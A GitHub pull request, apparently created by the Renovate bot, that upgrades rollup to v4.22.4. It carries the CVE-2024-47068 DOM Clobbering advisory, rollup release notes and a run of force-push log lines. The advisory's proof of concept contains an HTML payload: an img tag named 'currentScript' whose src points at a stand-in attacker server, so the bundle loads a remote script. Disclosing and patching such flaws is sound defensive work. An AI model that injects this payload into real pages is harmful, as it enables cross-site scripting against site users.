chore(deps): update dependency rollup to v4.22.4 [security] #171

renovate · 2024-09-24T07:05:05Z

This PR contains the following updates:

Package	Change	Age	Confidence
rollup (source)	`4.19.2` -> `4.22.4`

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

`v4.22.4`

Compare Source

2024-09-21

Bug Fixes

Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#5671)

Pull Requests

#5670: refactor: Use object.prototype to check for reserved properties (@YuHyeonWook)
#5671: Fix DOM Clobbering CVE (@lukastaegert)

`v4.22.3`

Compare Source

2024-09-21

Bug Fixes

Ensure that mutations in modules without side effects are observed while properly handling transitive dependencies (#5669)

Pull Requests

#5669: Ensure impure dependencies of pure modules are added (@lukastaegert)

`v4.22.2`

Compare Source

2024-09-20

Bug Fixes

Revert fix for side effect free modules until other issues are investigated (#5667)

Pull Requests

#5667: Partially revert #5658 and re-apply #5644 (@lukastaegert)

`v4.22.1`

Compare Source

2024-09-20

Bug Fixes

Revert #5644 "stable chunk hashes" while issues are being investigated

Pull Requests

#5663: chore(deps): update dependency inquirer to v11 (@renovate[bot], @lukastaegert)
#5664: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5665: fix: type in CI file (@YuHyeonWook)
#5666: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])

`v4.22.0`

Compare Source

2024-09-19

Features

Add additional known global values to avoid access side effects (#5651)

Bug Fixes

Ensure deterministic chunk hash generation despite async renderChunk hook (#5644)
Improve side effect detection when using "smallest" treeshaking preset when imports are optimized away (#5658)

Pull Requests

#5644: fix: apply final hashes deterministically with stable placeholders set (@mattkubej, @lukastaegert)
#5646: chore(deps): update dependency @mermaid-js/mermaid-cli to v11 (@renovate[bot])
#5647: chore(deps): update dependency concurrently to v9 (@renovate[bot])
#5648: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5651: feat: add AggregateError, FinalizationRegistry, WeakRef to knownGlobals (@re-taro)
#5653: Fix example selection in REPL (@lukastaegert)
#5657: chore(deps): update dependency vite to v5.4.6 [security] (@renovate[bot])
#5658: Detect variable reassignments in modules without side effects (@lukastaegert)

`v4.21.3`

Compare Source

2024-09-12

Bug Fixes

Always respect side effects in left-hand side of optional chain (#5642)
Update stack trace for augmented errors to not hide relevant information (#5640)

Pull Requests

#5636: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5637: chore(deps): lock file maintenance (@renovate[bot])
#5640: fix: keep the message of stack up-to-date (@TrickyPi)
#5642: fix: include left-side effect of optional chaining in the end of hasEffectsAsChainElement (@TrickyPi)

`v4.21.2`

Compare Source

2024-08-30

Bug Fixes

Handle IIFE/UMD namespace definitions conflicting with a builtin property (#5605)

Pull Requests

#5605: fix: Wrong namespace property definition (@thirumurugan-git, @lukastaegert)
#5630: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5631: chore(deps): lock file maintenance (@renovate[bot])
#5632: chore(deps): lock file maintenance (@renovate[bot])

`v4.21.1`

Compare Source

2024-08-26

Bug Fixes

Ensure closeWatcher hook is called when watch mode is aborted via Ctrl+C (#5618)
Do not produce invalid code for import.meta.url in compact mode (#5624)
Do not throw when generating chunk names when preserving modules in Windows (#5625)

Pull Requests

#5591: chore(deps): update dependency @types/eslint to v9 (@renovate[bot], @lukastaegert)
#5618: preload the WASM file even though the version is undefined. (@TrickyPi)
#5619: Call and await closeWatcher hooks on exit signals (@lukastaegert)
#5622: chore(deps): lock file maintenance minor/patch updates (@renovate[bot], @lukastaegert)
#5624: fix: add space for DOCUMENT_CURRENT_SCRIPT template (@TrickyPi)
#5625: fix: get the right chunk name for preserve modules in Windows (@TrickyPi, @lukastaegert)

`v4.21.0`

Compare Source

2024-08-18

Features

Add option to configure directory for virtual modules when preserving modules (#5602)

Pull Requests

#5602: feat: introduce the virtualDirname option to customize the virtual directory name (@TrickyPi)
#5607: chore(deps): update typescript-eslint monorepo to v8 (major) (@renovate[bot], @lukastaegert)
#5608: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5611: chore: fix the noConflict option in REPL. (@7086cmd)
#5613: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5614: chore(deps): lock file maintenance (@renovate[bot])

`v4.20.0`

Compare Source

2024-08-03

Features

Allow plugins to specify the original file name when emitting assets (#5596)

Pull Requests

#5596: Add originalFIleName property to emitted assets (@lukastaegert)
#5599: chore(deps): update dependency eslint-plugin-unicorn to v55 (@renovate[bot], @lukastaegert)
#5600: chore(deps): lock file maintenance minor/patch updates (@renovate[bot], @lukastaegert)

Configuration

📅 Schedule: Branch creation - "" in timezone America/Vancouver, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 12760a9 to 74501ad Compare January 23, 2025 17:47

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 3 times, most recently from 9767ca2 to 54c3f9d Compare March 17, 2025 16:44

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from d02d711 to 981affb Compare April 8, 2025 10:11

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 981affb to 9d69925 Compare April 24, 2025 10:00

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 9d69925 to d3af1a9 Compare May 19, 2025 17:12

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from d3af1a9 to 036625d Compare May 28, 2025 07:33

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 036625d to 1ff246d Compare June 4, 2025 11:00

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 1ff246d to 37b4a7e Compare June 22, 2025 14:26

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 37b4a7e to 2cd6ed9 Compare July 2, 2025 18:44

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 7dbea21 to 5862b95 Compare August 13, 2025 16:12

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 5862b95 to 7925fe0 Compare August 19, 2025 18:38

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 7925fe0 to 45f4a7b Compare August 31, 2025 14:01

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 45f4a7b to f936f68 Compare September 25, 2025 19:56

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from f936f68 to 3f05475 Compare October 21, 2025 09:39

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 3f05475 to a22dc9e Compare November 11, 2025 01:59

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from a22dc9e to 0d2454f Compare November 18, 2025 22:12

chore(deps): update dependency rollup to v4.22.4 [security]

755d73c

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 0d2454f to 755d73c Compare December 3, 2025 18:28

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

chore(deps): update dependency rollup to v4.22.4 [security] #171

chore(deps): update dependency rollup to v4.22.4 [security] #171

Uh oh!

renovate bot commented Sep 24, 2024 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

chore(deps): update dependency rollup to v4.22.4 [security] #171

Are you sure you want to change the base?

chore(deps): update dependency rollup to v4.22.4 [security] #171

Uh oh!

Conversation

renovate bot commented Sep 24, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

Release Notes

Bug Fixes

Pull Requests

Bug Fixes

Pull Requests

Bug Fixes

Pull Requests

Bug Fixes

Pull Requests

Features

Bug Fixes

Pull Requests

Bug Fixes

Pull Requests

Bug Fixes

Pull Requests

Bug Fixes

Pull Requests

Features

Pull Requests

Features

Pull Requests

Configuration

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

renovate bot commented Sep 24, 2024 •

edited

Loading

Gadget found in `rollup`